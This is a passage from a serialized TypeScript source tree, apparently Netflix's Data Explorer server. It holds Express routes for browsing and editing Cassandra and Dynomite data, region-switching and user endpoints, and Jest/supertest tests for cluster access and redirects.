CassandraExportFormat,\n IKeyQuery,\n IRowDetails,\n TruncationOption,\n} from '@/services/datastores/cassandra/typings/cassandra';\nimport { getQueryAsString } from '@/utils/request-utils';\nimport { Request, Router } from 'express';\nimport fs from 'fs';\nimport multer from 'multer';\nimport { promisify } from 'util';\nimport CassandraResultsExporter from './CassandraResultsExporter';\n\nconst { MAX_FILE_UPLOAD } = getConfig();\nconst readFile = promisify(fs.readFile);\nconst logger = setupLogger(module);\n\nconst router = Router();\n\nconst upload = multer({\n dest: 'uploads/',\n limits: {\n fileSize: MAX_FILE_UPLOAD,\n },\n});\n\n/**\n * Queries the specified table using the given primary key components.\n */\nrouter.post('/', async (req: Request, res, next) => {\n const { cluster, keyspaceName, tableName, body, query } = req;\n logger.info(\n `fetching keys from table: ${keyspaceName}.${\n req.tableName\n }. params=${JSON.stringify(req.body)}`,\n req,\n );\n try {\n const pageState = getQueryAsString(req, 'pageState');\n const generateFile = getQueryAsString(req, 'generateFile');\n const truncate = getQueryAsString<TruncationOption>(req, 'truncate');\n const format = query.format as CassandraExportFormat;\n\n const filter: IKeyQuery = body;\n\n const keys = await req.cassandraApi.getKeys(\n keyspaceName,\n tableName,\n filter,\n pageState,\n req,\n );\n if (format) {\n const schema = await req.cassandraApi.getTable(keyspaceName, tableName);\n const { columns, rows } = keys;\n new CassandraResultsExporter(schema, cluster, req.cassandraApi)\n .build(columns, rows, body)\n .send(res, format, !!generateFile && generateFile === 'true');\n } else if (truncate) {\n const schema = await req.cassandraApi.getTable(keyspaceName, tableName);\n res.json(truncateResults(keys, schema, truncate));\n } else {\n res.json(keys);\n }\n } catch (err) {\n logger.error(\n `failed to fetch keys from table ${keyspaceName}.${req.tableName} due to: \"${err.message}\"`,\n err,\n );\n next(err);\n }\n});\n\n/**\n * Inserts a new record into the given table using the given primary key components.\n */\nrouter.post('/create', upload.any(), async (req: Request, res, next) => {\n logger.info('inserting row', req);\n\n const { keyspaceName, tableName } = req;\n const schema = await req.cassandraApi.getTable(keyspaceName, tableName);\n const { columns } = schema;\n\n let row: IRowDetails = {};\n if (req.headers['content-type']?.includes('multipart')) {\n if (req.files && req.files instanceof Array) {\n const promises = req.files.map((file) => {\n return readFile(file.path).then((buffer) => ({\n field: file.fieldname,\n buffer,\n }));\n });\n const results = await Promise.all(promises);\n row = columns.reduce((prev, column) => {\n const { name } = column;\n prev[name] = {\n options: {\n encoding: req.body[`${name}.encoding`],\n },\n value: req.body[name],\n };\n return prev;\n }, {} as IRowDetails);\n\n results.forEach((result) => {\n row[result.field] = {\n options: {\n encoding: 'hex',\n },\n value: result.buffer,\n };\n });\n }\n } else {\n row = req.body.fields;\n }\n\n try {\n const success = await req.cassandraApi.insertKey(\n req.keyspaceName,\n req.tableName,\n row,\n req,\n );\n res.json({ success });\n } catch (err) {\n logger.error(\n `failed to insert into ${req.keyspaceName}.${req.tableName} due to: \"${err.message}\"`,\n err,\n );\n next(err);\n }\n});\n\n/**\n * Updates a record in the given table using the given primary key components.\n */\nrouter.put('/', async (req: Request, res, next) => {\n logger.info('updating row', req);\n const { keyspaceName, tableName, body } = req;\n const { primaryKeyQuery, fields } = body;\n\n const query: IKeyQuery = primaryKeyQuery;\n try {\n const success = await req.cassandraApi.updateKey(\n keyspaceName,\n tableName,\n query,\n fields,\n req,\n );\n res.json({ success });\n } catch (err) {\n logger.error(\n `failed to update ${keyspaceName}.${tableName} due to: \"${err.message}\"`,\n err,\n );\n next(err);\n }\n});\n\n/**\n * Deletes an existing record given the primary key components.\n */\nrouter.delete('/', async (req: Request, res, next) => {\n logger.info('deleting row', req);\n const { keyspaceName, tableName, body } = req;\n try {\n const success = await req.cassandraApi.deleteKey(\n keyspaceName,\n tableName,\n body.primaryKeyQuery,\n req,\n );\n res.json({ success });\n } catch (err) {\n logger.error(\n `failed to delete ${keyspaceName}.${tableName} due to: \"${err.message}\"`,\n err,\n );\n next(err);\n }\n});\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\clusters\\keyspaces\\types\\index.ts": "import { Request, Router } from 'express';\n\nconst router = Router();\n\nrouter.get('/', async (req: Request, res, next) => {\n try {\n const types = await req.cassandraApi.getTypes(req.keyspaceName);\n res.json(types);\n } catch (err) {\n next(err);\n }\n});\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\clusters\\metrics\\index.ts": "import { getConfig } from '@/config/configuration';\nimport FeatureDisabledError from '@/model/errors/FeatureDisabledError';\nimport { ICassandraMetricsProvider } from '@/services/datastores/cassandra/lib/providers/metrics/ICassandraMetricsProvider';\nimport {\n ICassMetricsKeyspaceUsage,\n ICassMetricsTableUsage,\n} from '@/services/datastores/cassandra/typings/cassandra';\nimport { loadClass } from '@/utils/class-loader-utils';\nimport { Request, Router } from 'express';\n\nconst { CASSANDRA_METRICS_PROVIDER, CASSANDRA_METRICS_SUPPORT } = getConfig();\n\nconst router = Router();\n\nasync function getCassandraMetricsProvider() {\n const providerName = CASSANDRA_METRICS_PROVIDER;\n if (!providerName) {\n return undefined;\n }\n const ProviderClass = await loadClass<new () => ICassandraMetricsProvider>(\n `@/services/datastores/cassandra/lib/providers/metrics/${providerName}`,\n );\n const provider = new ProviderClass();\n return provider;\n}\n\nrouter.use((_req, _res, next) => {\n if (CASSANDRA_METRICS_SUPPORT === false) {\n throw new FeatureDisabledError('metrics');\n }\n next();\n});\n\nrouter.get('/keyspaces', async (req: Request, res, next) => {\n try {\n const metricsProvider = await getCassandraMetricsProvider();\n let result = new Array<ICassMetricsKeyspaceUsage>();\n if (metricsProvider) {\n result = await metricsProvider.getClusterKeyspacesMetrics(req.cluster);\n }\n res.json(result);\n } catch (err) {\n next(err);\n }\n});\n\nrouter.get('/keyspaces/:keyspace/tables', async (req: Request, res, next) => {\n try {\n const range = (req.query.range || 'week') as 'week' | 'day';\n const step = (req.query.step || 'day') as 'day' | 'hour';\n const metricsProvider = await getCassandraMetricsProvider();\n let result = new Array<ICassMetricsTableUsage>();\n if (metricsProvider) {\n result = await metricsProvider.getKeyspaceTablesMetrics(\n req.cluster,\n req.params.keyspace,\n range,\n step,\n );\n }\n res.json(result);\n } catch (err) {\n next(err);\n }\n});\n\nrouter.get(\n '/keyspaces/:keyspace/tables/:table',\n async (req: Request, res, next) => {\n try {\n const range = (req.query.range || 'week') as 'week' | 'day';\n const step = (req.query.step || 'day') as 'day' | 'hour';\n const metricsProvider = await getCassandraMetricsProvider();\n let result: ICassMetricsTableUsage | undefined = undefined;\n if (metricsProvider) {\n result = await metricsProvider.getTableMetrics(\n req.cluster,\n req.params.keyspace,\n req.params.table,\n range,\n step,\n );\n }\n res.json(result);\n } catch (err) {\n next(err);\n }\n },\n);\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\clusters\\query\\index.ts": "import setupLogger from '@/config/logger';\nimport EntityNotAuthorizedError from '@/model/errors/EntityNotAuthorizedError';\nimport { CassandraKeyspaceNotAccessible } from '@/services/datastores/cassandra/lib/errors';\nimport { truncateResults } from '@/services/datastores/cassandra/lib/utils/result-utils';\nimport {\n CassandraExportFormat,\n IKeyQueryOptions,\n TruncationOption,\n} from '@/services/datastores/cassandra/typings/cassandra';\nimport { EntityType } from '@/typings/enums';\nimport { getCassandraAccess } from '@/utils/cde-utils';\nimport { getQueryAsString } from '@/utils/request-utils';\nimport { Request, Router } from 'express';\nimport CassandraResultsExporter from '../keyspaces/tables/keys/CassandraResultsExporter';\n\nconst logger = setupLogger(module);\n\nconst router = Router();\n\nrouter.post('/', async (req: Request, res, next) => {\n const { user, cluster, body } = req;\n logger.info(`submitted free form query: ${body.query}`, req);\n const keyspaces = await req.cassandraApi.getKeyspaces();\n const clusterAccess = await getCassandraAccess(user, cluster, keyspaces);\n try {\n const generateFile = getQueryAsString(req, 'generateFile');\n const truncate = getQueryAsString<TruncationOption>(req, 'truncate');\n const format = getQueryAsString<CassandraExportFormat>(req, 'format');\n\n const keyQueryOptions: IKeyQueryOptions = req.body.options;\n const result = await req.cassandraApi.execute(\n req.body.query.trim(),\n clusterAccess,\n req,\n {\n enforceQueryRestrictions: true,\n includeSchema: true,\n keyQueryOptions,\n },\n );\n\n const { columns, rows, schema } = result;\n if (format && schema) {\n new CassandraResultsExporter(schema, cluster, req.cassandraApi)\n .build(columns, rows, {\n primaryKey: {},\n options: keyQueryOptions,\n })\n .send(res, format, !!generateFile && generateFile === 'true');\n } else if (truncate && schema) {\n res.json(truncateResults(result, schema, truncate));\n } else {\n res.json(result);\n }\n } catch (err) {\n if (err instanceof CassandraKeyspaceNotAccessible) {\n return next(\n new EntityNotAuthorizedError(\n cluster,\n EntityType.KEYSPACE,\n err.keyspace,\n ),\n );\n }\n logger.info(\n `failed to execute query \"${req.body.query}\" due to: \"${err.message}\"`,\n req,\n );\n next(err);\n }\n});\n\nexport default router;\n", "src\\server\\routes\\datastores\\cassandra\\features\\index.ts": "import { getConfig } from '@/config/configuration';\nimport { ICassandraFeatureMap } from '@/services/datastores/cassandra/typings/cassandra';\nimport { Router } from 'express';\n\nconst {\n CASSANDRA_REQUIRE_METRICS_FOR_DESTRUCTIVE_OPERATIONS,\n CASSANDRA_METRICS_SUPPORT,\n CASSANDRA_ALLOW_DROP_TABLE,\n CASSANDRA_ALLOW_TRUNCATE_TABLE,\n CASSANDRA_ENVIRONMENTS_ALLOWING_DESTRUCTIVE_OPERATIONS,\n} = getConfig();\n\nconst router = Router();\n\nrouter.get('/', (_req, res) => {\n const featureMap: ICassandraFeatureMap = {\n metrics: CASSANDRA_METRICS_SUPPORT,\n metricsRequiredForDestructiveOperations: CASSANDRA_REQUIRE_METRICS_FOR_DESTRUCTIVE_OPERATIONS,\n allowDrop: CASSANDRA_ALLOW_DROP_TABLE,\n allowTruncate: CASSANDRA_ALLOW_TRUNCATE_TABLE,\n envsAllowingDestructiveOperations: CASSANDRA_ENVIRONMENTS_ALLOWING_DESTRUCTIVE_OPERATIONS,\n };\n res.json(featureMap);\n});\n\nexport default router;\n", "src\\server\\routes\\datastores\\dynomite\\index.ts": "import clusters from '@/routes/datastores/dynomite/clusters';\nimport { Router } from 'express';\n\nconst router = Router();\n\nrouter.use('/clusters', clusters);\n\nexport default router;\n", "src\\server\\routes\\datastores\\dynomite\\clusters\\index.ts": "import { getExplorerCache } from '@/config/services';\nimport fields from '@/routes/datastores/dynomite/clusters/fields';\nimport keys from '@/routes/datastores/dynomite/clusters/keys';\nimport { IExplorer } from '@/services/datastores/base/datastore';\nimport DynomiteDatastoreService from '@/services/datastores/dynomite';\nimport DynomiteExplorer from '@/services/datastores/dynomite/lib/DynomiteExplorer';\nimport { DatastoreType } from '@/typings/enums';\nimport { IClusterDefinition } from '@/typings/typings';\nimport { verifyUserCanAccessCluster } from '@/utils/acl-utils';\nimport { getCluster, getEnv, getRegion } from '@/utils/app-utils';\nimport { Request, Router } from 'express';\n\nconst router = Router();\nconst dynomiteDatastoreService = new DynomiteDatastoreService();\n\n/**\n * Extracts the cluster name from the path parameter (e.g. .../clusters/<my_cluster>/...).\n * Sets up an instance of the DynomiteExplorer API and attaches it to the request so downstream\n * requests can easily access it via req.dynomiteApi.\n */\nrouter.param('cluster', async (req: Request, res, next, clusterName) => {\n if (!clusterName) {\n return res\n .status(400)\n .json({ message: 'clusterName must be provided in path param.' });\n }\n\n const datastoreType = DatastoreType.DYNOMITE;\n req.datastoreType = datastoreType;\n req.cluster = getCluster(req.app, req.datastoreType, clusterName);\n\n try {\n verifyUserCanAccessCluster(req.user, req.cluster);\n const explorerCache = getExplorerCache();\n req.dynomiteApi = (await explorerCache.getExplorer(\n datastoreType,\n clusterName,\n getRegion(req.app),\n getEnv(req.app),\n (cluster: IClusterDefinition): Promise<IExplorer> => {\n return dynomiteDatastoreService.connect(cluster);\n },\n )) as DynomiteExplorer;\n return next();\n } catch (err) {\n return next(err);\n }\n});\n\n/**\n * Fetch cluster information.\n */\nrouter.get('/:cluster', async (req: Request, res, next) => {\n try {\n const keyCount = await req.dynomiteApi.getKeyCount();\n res.json({ totalKeys: keyCount });\n } catch (err) {\n next(err);\n }\n});\n\nrouter.use('/:cluster/keys', keys);\nrouter.use('/:cluster/fields', fields);\n\nexport default router;\n", "src\\server\\routes\\datastores\\dynomite\\clusters\\fields\\index.ts": "import setupLogger from '@/config/logger';\nimport { Request, Router } from 'express';\n\nconst logger = setupLogger(module);\nconst router = Router();\n\n/**\n * Adds fields to an aggregated key type (e.g. hash, list, set, etc.).\n * If the key doesn't exist, the key will be created. Expects POST body\n * to include:\n * {\n * key: 'key-name',\n * type: 'hash',\n * fields: [{\n * field: 'field-name',\n * value: 'field-value'\n * }]\n * }\n */\nrouter.post('/:key(*)', async (req: Request, res, next) => {\n const key = req.params.key;\n const { type, values } = req.body;\n logger.info(\n `adding new fields \"${JSON.stringify(values)}\" to key \"${key}\" (${type})`,\n req,\n );\n try {\n const result = req.dynomiteApi.addFields(type, key, values);\n res.json(result);\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Updates an existing aggregated key type (e.g. hash, list, set, etc.).\n * Key must exist. Expects POST body to include:\n * {\n * key: 'key-name',\n * fields: [{\n * field: 'field-name',\n * value: 'field-value'\n * }]\n * }\n */\nrouter.put('/:key(*)', async (req: Request, res, next) => {\n const key = req.params.key;\n const values = req.body.values;\n logger.info(\n `updating existing field \"${JSON.stringify(values)}\" on key \"${key}\"`,\n req,\n );\n try {\n const result = await req.dynomiteApi.updateFields(key, values);\n res.json(result);\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Deletes fields from an existing aggregated key type (e.g. hash, list, set, etc.).\n * Note, deleting all fields from a key will delete the key itself.\n */\nrouter.delete('/:key(*)', async (req: Request, res, next) => {\n const key = req.params.key;\n const values = req.body.values;\n logger.info(`deleting fields \"${values}\" from key \"${key}\"`, req);\n try {\n await req.dynomiteApi.deleteFields(key, values);\n res.status(204).send();\n } catch (err) {\n next(err);\n }\n});\n\nexport default router;\n", "src\\server\\routes\\datastores\\dynomite\\clusters\\keys\\index.ts": "import setupLogger from '@/config/logger';\nimport {\n getReqUrl,\n getQueryAsString,\n getQueryAsNumber,\n} from '@/utils/request-utils';\nimport { Request, Router } from 'express';\n\nconst router = Router();\n\nconst logger = setupLogger(module);\n\n/**\n * Queries for matching keys.\n *\n * Expects query string to include the following:\n * - cursor\n * The existing cursor to use. Each call to this endpoint will return a cursor which can be used to fetch the next\n * set of results.\n * - match\n * The string to match. Note, the string is case-sensitive. Wilcards (*) can be included.\n * - count\n * The desired count to use when scanning for results.\n * - pageSize\n * The desired page size of results.\n */\nrouter.get('/', async (req: Request, res, next) => {\n const cursorString = getQueryAsString(req, 'cursor');\n const cursor = cursorString && JSON.parse(cursorString);\n\n const match = getQueryAsString(req, 'match', '*');\n const count = getQueryAsNumber(req, 'count', 100);\n const pageSize = getQueryAsNumber(req, 'pageSize', 100);\n logger.info(`scanning for keys matching \"${match}\"`, req);\n\n try {\n const result = await req.dynomiteApi.getKeys(\n cursor,\n match,\n count,\n pageSize,\n );\n res.header(\n 'Link',\n `<${getReqUrl(req)}?cursor=${JSON.stringify(result.cursor)}>; rel=\"next\"`,\n );\n res.json(result);\n } catch (err) {\n next(err);\n }\n});\n\n// NOTE: order of routes is important here since keys can contain slashes.\n\n/**\n * Sets the expiration of a key (TTL). Query string must include a ttl parameter that specifies\n * the expiration in seconds. Pass null to expire immediately.\n */\nrouter.put('/:key(*)/expire', async (req: Request, res, next) => {\n const key = req.params.key;\n const ttl = getQueryAsNumber(req, 'ttl');\n logger.info(`setting expiration for key: ${key}, ttl: ${ttl}`, req);\n\n try {\n await req.dynomiteApi.setExpiration(key, ttl);\n res.status(204).send();\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Persists an expiring key (i.e. a key with TTL set).\n */\nrouter.put('/:key(*)/persist', async (req: Request, res, next) => {\n const key = req.params.key;\n logger.info(`persisting key: ${key}`, req);\n\n try {\n await req.dynomiteApi.setExpiration(key, undefined);\n res.status(204).send();\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Fetches a specific key by name. Note, key name is case-sensitive. Returns 404 if key can not be found.\n * Can optionally pass a \"test\" query param if the intent is to test for the presence of a key (prevents us from\n * logging an error).\n */\nrouter.get('/:key(*)', async (req: Request, res, next) => {\n const key = req.params.key;\n const test = typeof req.query.test !== 'undefined';\n const operation = test ? 'checking key existence' : 'fetching';\n logger.info(`${operation} key: \"${key}\"`, req);\n\n try {\n const value = await req.dynomiteApi.getValue(key);\n res.json(value);\n } catch (err) {\n if (test) {\n return res.status(404).send();\n }\n next(err);\n }\n});\n\n/**\n * Creates a new simple key. Expects POST body to include:\n * {\n * type: 'string',\n * value: 'my-value'\n * }\n */\nrouter.post('/:key(*)', async (req: Request, res, next) => {\n const key = req.params.key;\n const value = req.body.value;\n logger.info(`create new key: \"${key}\" (string), value: \"${value}\"`, req);\n\n try {\n await req.dynomiteApi.setValue(key, value);\n res.status(204).send();\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Updates an existing key. Expects POST body to include:\n * {\n * value: 'new-value'\n * }\n */\nrouter.put('/:key(*)', async (req: Request, res, next) => {\n const key = req.params.key;\n logger.info(`updating key: ${key}`, req);\n try {\n const result = await req.dynomiteApi.setValue(key, req.body.value);\n res.json(result);\n } catch (err) {\n next(err);\n }\n});\n\n/**\n * Deletes an existing key by name.\n */\nrouter.delete('/:key(*)', async (req: Request, res, next) => {\n const key = req.params.key;\n logger.info(`deleting key: ${key}`, req);\n try {\n const value = await req.dynomiteApi.deleteKey(key);\n res.json(value);\n } catch (err) {\n next(err);\n }\n});\n\nexport default router;\n", "src\\server\\routes\\datastores\\__tests__\\index.spec.ts": "import { getApp } from '@/index';\nimport {\n createMockStore,\n createStoreItem,\n} from '@/model/__mocks__/mock-store-helpers';\nimport { IClusterRegionSummary, IClusterSummary } from '@/typings/typings';\nimport { userHeaders } from '@/utils/__tests__/helpers/auth-helper';\nimport { Application } from 'express';\nimport request from 'supertest';\n\njest.mock('@/model/store');\n\ndescribe('/datastores route suite', () => {\n let app: Application;\n\n const teamClusterName = 'datastore-route-test-cluster';\n const teamDL = '[email protected]';\n let setUserGroups: (groups?: string[]) => void;\n\n const opsTeamDL = '[email protected]';\n const restrictedClusterNames = ['restricted-a', 'restricted-b'];\n const unrestrictedClusterNames = ['unrestricted-a'];\n\n beforeAll(async () => {\n // setup to manipulate user groups before each test\n const MockServices = await import('@/config/services');\n setUserGroups = (MockServices as any).__setUserGroups;\n\n // apply test config\n const MockConfiguration = (await import('@/config/configuration')) as any;\n MockConfiguration.__updateConfig({\n ALL_CLUSTERS_MEMBERS: [opsTeamDL],\n REQUIRE_AUTHENTICATION: true,\n });\n\n // create a mock store with sample datastores\n const MockStoreModule = (await import('@/model/store')) as any;\n const store = createMockStore([\n ...restrictedClusterNames.map((name) =>\n createStoreItem('cassandra', name, [], true),\n ),\n ...unrestrictedClusterNames.map((name) =>\n createStoreItem('cassandra', name, [], false),\n ),\n createStoreItem('cassandra', teamClusterName, [teamDL], false),\n ]);\n MockStoreModule.getStore.mockReturnValue(store);\n });\n\n beforeEach(async () => {\n app = await getApp();\n setUserGroups(); // reset the user groups mock to default values\n });\n\n it('should return the list of clusters owned by a user', async () => {\n setUserGroups([teamDL]);\n const result = await request(app).get('/REST/datastores').set(userHeaders);\n expect(result.status).toEqual(200);\n const clusters = JSON.parse(result.text) as IClusterRegionSummary[];\n expect(\n clusters.find((cluster) => cluster.name === teamClusterName),\n ).toBeDefined();\n });\n\n it('should only return shared and unrestricted clusters for a user without any dedicated clusters', async () => {\n const result = await request(app).get('/REST/datastores').set(userHeaders);\n expect(result.status).toEqual(200);\n const clusters = JSON.parse(result.text) as IClusterRegionSummary[];\n const unrestrictedClusterSet = new Set(unrestrictedClusterNames);\n expect(\n clusters.find((cluster) => cluster.name === teamClusterName),\n ).toBeUndefined();\n expect(\n clusters.every(\n (cluster) =>\n cluster.isShared || unrestrictedClusterSet.has(cluster.name),\n ),\n ).toBe(true);\n });\n\n it('should return the list of clusters for a member of the all clusters group', async () => {\n setUserGroups([opsTeamDL]);\n const result = await request(app).get('/REST/datastores').set(userHeaders);\n expect(result.status).toEqual(200);\n const clusters = JSON.parse(result.text) as IClusterSummary[];\n\n const returnedClusterNames = new Set(\n clusters.map((cluster) => cluster.name),\n );\n // no restricted clusters should be returned\n expect(\n restrictedClusterNames.every(\n (restrictedName) => !returnedClusterNames.has(restrictedName),\n ),\n );\n\n // all unrestricted clusters should be returned\n expect(\n unrestrictedClusterNames.every((unrestrictedName) =>\n returnedClusterNames.has(unrestrictedName),\n ),\n );\n\n // test team cluster should be included\n expect(returnedClusterNames.has(teamClusterName)).toBe(true);\n });\n});\n", "src\\server\\routes\\env\\index.ts": "import { APP_ENV, APP_REGION } from '@/config/constants';\nimport setupLogger from '@/config/logger';\nimport { IRegionInfo } from '@/typings/typings';\nimport {\n getAllKnownEnvironments,\n getAllKnownRegions,\n getAppStack,\n getAvailableClusters,\n getEnv,\n getRegion,\n} from '@/utils/app-utils';\nimport { Router } from 'express';\nimport _ from 'lodash';\nimport { getConfig } from '@/config/configuration';\n\nconst logger = setupLogger(module);\n\nconst router = Router();\n\nconst { CLUSTER_REDIRECT_HOST } = getConfig();\n\nfunction getRedirectHost(host: string, region: string, env: string): string {\n return CLUSTER_REDIRECT_HOST.replace(\n /(:appName)|(:regionName)|(:accountName)/g,\n (\n _match: string,\n appName: string,\n regionName: string,\n accountName: string,\n ): string => {\n if (appName) return host;\n if (regionName) return region;\n if (accountName) return env;\n return '';\n },\n );\n}\n\n/**\n * Fetch all the available regions as well as the name of the current environment and region.\n */\nrouter.get('/regions', (req, res) => {\n const available = new Array<{\n env: string;\n region: string;\n }>();\n const knownRegions = getAllKnownRegions();\n const knownEnvironments = getAllKnownEnvironments();\n knownRegions.sort().forEach((regionName) => {\n knownEnvironments.forEach((envName) => {\n available.push({ env: envName, region: regionName });\n });\n });\n res.json({\n available: _.sortBy(available, ['env', 'region']),\n current: {\n env: getEnv(req.app),\n region: getRegion(req.app),\n },\n });\n});\n\n/**\n * Request to change regions.\n *\n * By POSTing to this endpoint, the caller will be redirected to the app running in the given region.\n * A session cookie will also be set with the current requester's JWT. This can be then be sent via\n * the Authorization header by your app.\n */\nrouter.post('/regions/:regionInfo', (req, res) => {\n const datastoreType = req.body.datastoreType;\n if (!datastoreType || datastoreType.length === 0) {\n return res.status(400).json({ message: 'Datastore type is required' });\n }\n\n const availableEnvironments = getAllKnownEnvironments();\n const availableRegions = getAllKnownRegions();\n const regionInfo = req.params.regionInfo.toLowerCase();\n const re = new RegExp(`^(${availableEnvironments.join('|')})-(.*)$`);\n const matches = re.exec(regionInfo);\n if (!matches || matches.length !== 3) {\n logger.error(\n `Failed to switch to region ${regionInfo}. Available environments: ${JSON.stringify(\n availableEnvironments,\n )}; available regions: ${JSON.stringify(availableRegions)}`,\n );\n return res\n .status(400)\n .json({ message: `Invalid region info: '${regionInfo}'` });\n }\n\n const envName = matches[1];\n const regionName = matches[2];\n if (availableRegions.indexOf(regionName) < 0) {\n return res\n .status(404)\n .json({ message: `Could not find given region: ${regionName}` });\n }\n const optionalCluster = req.body.cluster\n ? `/clusters/${req.body.cluster}`\n : '';\n let url: string;\n if (process.env.NODE_ENV === 'development') {\n logger.info(\n `DEV MODE - switching server region/env to: ${regionName}/${envName}.`,\n req,\n );\n req.app.set(APP_ENV, envName);\n req.app.set(APP_REGION, regionName);\n url = `${req.headers.origin}/${datastoreType}${optionalCluster}`;\n } else {\n const cluster = getAppStack(req.app);\n const redirectHost = getRedirectHost(cluster, regionName, envName);\n url = `${redirectHost}/${datastoreType}${optionalCluster}`;\n }\n res.setHeader('location', url);\n res.json({ location: url });\n});\n\n/**\n * Fetches the list of environment/region combinations for a given cluster.\n */\nrouter.get('/regions/:datastoreType/:clusterName', (req, res, next) => {\n try {\n const availableClusters = getAvailableClusters(req.params.datastoreType);\n const items: IRegionInfo[] = availableClusters\n .filter((item) => item.name === req.params.clusterName)\n .map((item) => ({ region: item.region, env: item.env }));\n res.json(_.sortBy(items, ['env', 'region']));\n } catch (err) {\n next(err);\n }\n});\n\nexport default router;\n", "src\\server\\routes\\env\\__tests__\\index.spec.ts": "import { getConfig } from '@/config/configuration';\nimport { getApp } from '@/index';\nimport {\n createMockStore,\n createStoreItem,\n} from '@/model/__mocks__/mock-store-helpers';\nimport { IRegionInfo } from '@/typings/typings';\nimport { userHeaders } from '@/utils/__tests__/helpers/auth-helper';\nimport { getAppStack } from '@/utils/app-utils';\nimport { Application } from 'express';\nimport request from 'supertest';\n\nconst { ENVIRONMENTS, REGIONS } = getConfig();\n\ndescribe('/env route', () => {\n let app: Application;\n\n const clusterName = 'env-route-test-cluster';\n const sampleDatastore = 'cassandra';\n const availability = [\n { env: 'test', region: 'us-east-1' },\n { env: 'test', region: 'eu-west-1' },\n { env: 'prod', region: 'eu-west-1' },\n ] as IRegionInfo[];\n\n beforeAll(async () => {\n app = await getApp();\n const MockStoreModule = await import('@/model/store');\n const mockStore = createMockStore(\n availability.map((regionInfo) =>\n createStoreItem(\n 'cassandra',\n clusterName,\n ['[email protected]', '[email protected]'],\n false,\n regionInfo.env,\n regionInfo.region,\n ),\n ),\n );\n (MockStoreModule.getStore as any).mockReturnValue(mockStore);\n });\n\n describe('read only operations', () => {\n it('should fetch the environments for the given cluster', async () => {\n const result = await request(app)\n .get(`/REST/env/regions/cassandra/${clusterName}`)\n .set(userHeaders);\n\n expect(result.status).toEqual(200);\n const data = JSON.parse(result.text) as IRegionInfo[];\n const comparator = (a: IRegionInfo, b: IRegionInfo) =>\n `${a.env}-${a.region}`.localeCompare(`${b.env}-${b.region}`);\n expect(data.sort(comparator)).toEqual(availability.sort(comparator));\n });\n\n it('should return empty for an unknown cluster', async () => {\n const result = await request(app)\n .get(`/REST/env/regions/${sampleDatastore}/unknownClusterName`)\n .set(userHeaders);\n expect(result.status).toEqual(200);\n expect(JSON.parse(result.text)).toEqual([]);\n });\n\n it('should return all available regions', async () => {\n const result = await request(app)\n .get('/REST/env/regions')\n .set(userHeaders);\n expect(result.status).toEqual(200);\n\n const data = JSON.parse(result.text) as {\n available: IRegionInfo[];\n };\n const regionIds = new Array<string>();\n ENVIRONMENTS.forEach((envName) => {\n REGIONS.forEach((regionName) =>\n regionIds.push(`${envName}:${regionName}`),\n );\n });\n\n expect(\n data.available.map((item) => `${item.env}:${item.region}`).sort(),\n ).toEqual(regionIds.sort());\n });\n });\n\n describe('redirect suite', () => {\n it('should return a 400 for an invalid env', async () => {\n const region = 'us-east-1';\n const result = await request(app)\n .post(`/REST/env/regions/invalidenv-${region}`)\n .set(userHeaders)\n .send({\n datastoreType: sampleDatastore,\n cluster: clusterName,\n });\n expect(result.status).toEqual(400);\n });\n\n it('should return a 404 for an invalid region', async () => {\n const result = await request(app)\n .post(`/REST/env/regions/${ENVIRONMENTS[0]}-invalidregion`)\n .set(userHeaders)\n .send({\n datastoreType: sampleDatastore,\n cluster: clusterName,\n });\n expect(result.status).toEqual(404);\n });\n\n it('should redirect to the appropriate cluster', async () => {\n const envName = 'local';\n const region = 'local';\n const result = await request(app)\n .post(`/REST/env/regions/${envName}-${region}`)\n .set(userHeaders)\n .send({ datastoreType: sampleDatastore, cluster: clusterName });\n expect(result.status).toEqual(200);\n expect(result.header.location).toEqual(\n `https://${getAppStack(\n app,\n )}-${region}.${envName}.acme.net/${sampleDatastore}/clusters/${clusterName}`,\n );\n });\n });\n});\n", "src\\server\\routes\\i18n\\index.ts": "import { changeLanguage } from '@/i18n';\nimport { Router } from 'express';\n\nconst router = Router();\n\nrouter.post('/', (req, res, next) => {\n try {\n changeLanguage(req.body.language);\n res.status(204).send();\n } catch (err) {\n next(err);\n }\n});\n\nexport default router;\n", "src\\server\\routes\\user\\index.ts": "import setupLogger from '@/config/logger';\nimport { ADMIN_MEMBERS } from '@/shared/shared-constants';\nimport { Request, Response, Router } from 'express';\n\nconst logger = setupLogger(module);\n\nconst router = Router();\n\n/**\n * Get user details.\n */\nrouter.get('/', (req: Request, res: Response) => {\n logger.info('requesting user details', req);\n const userResponse = Object.assign({}, req.user, {\n isAdmin: ADMIN_MEMBERS.indexOf(req.user.email) >= 0,\n });\n res.json(userResponse);\n});\n\nexport default router;\n", "src\\server\\routes\\user\\__tests__\\index.spec.ts": "import { getApp } from '@/index';\nimport { userHeaders } from '@/utils/__tests__/helpers/auth-helper';\nimport { Application } from 'express';\nimport request from 'supertest';\n\ndescribe('/user route', () => {\n let app: Application;\n\n beforeAll(async () => {\n const MockConfiguration = (await import('@/config/configuration')) as any;\n MockConfiguration.__updateConfig({\n REQUIRE_AUTHENTICATION: true,\n });\n\n app = await getApp();\n });\n\n it('should verify the user', async () => {\n const result = await request(app).get('/REST/user').set(userHeaders);\n expect(result.status).toEqual(200);\n const userInfo = JSON.parse(result.text);\n expect(userInfo.googleGroups).toEqual(['[email protected]']);\n expect(userInfo.isAdmin).toEqual(false);\n });\n});\n", "src\\server\\routes\\__tests__\\index.spec.ts": "import { getApp } from '@/index';\nimport { userHeaders } from '@/utils/__tests__/helpers/auth-helper';\nimport { Application } from 'express';\nimport request from 'supertest';\n\ndescribe('static files', () => {\n let app: Application;\n const titleTag = '<title>Netflix | Data Explorer</title>';\n\n beforeAll(async () => {\n app = await getApp();\n });\n\n it('expected to serve static file', async () => {\n const result = await request(app).get('/').set(userHeaders);\n expect(result.status).toEqual(200);\n expect(result.text).toContain(titleTag);\n });\n\n it('all unknown routes should serve index.html to enable client routing', async () => {\n const result = await request(app)\n .get('/cassandra/clusters/CASS_TEST_CLUSTER/explore')\n .set(userHeaders);\n expect(result.status).toEqual(200);\n expect(result.text).toContain(titleTag);\n 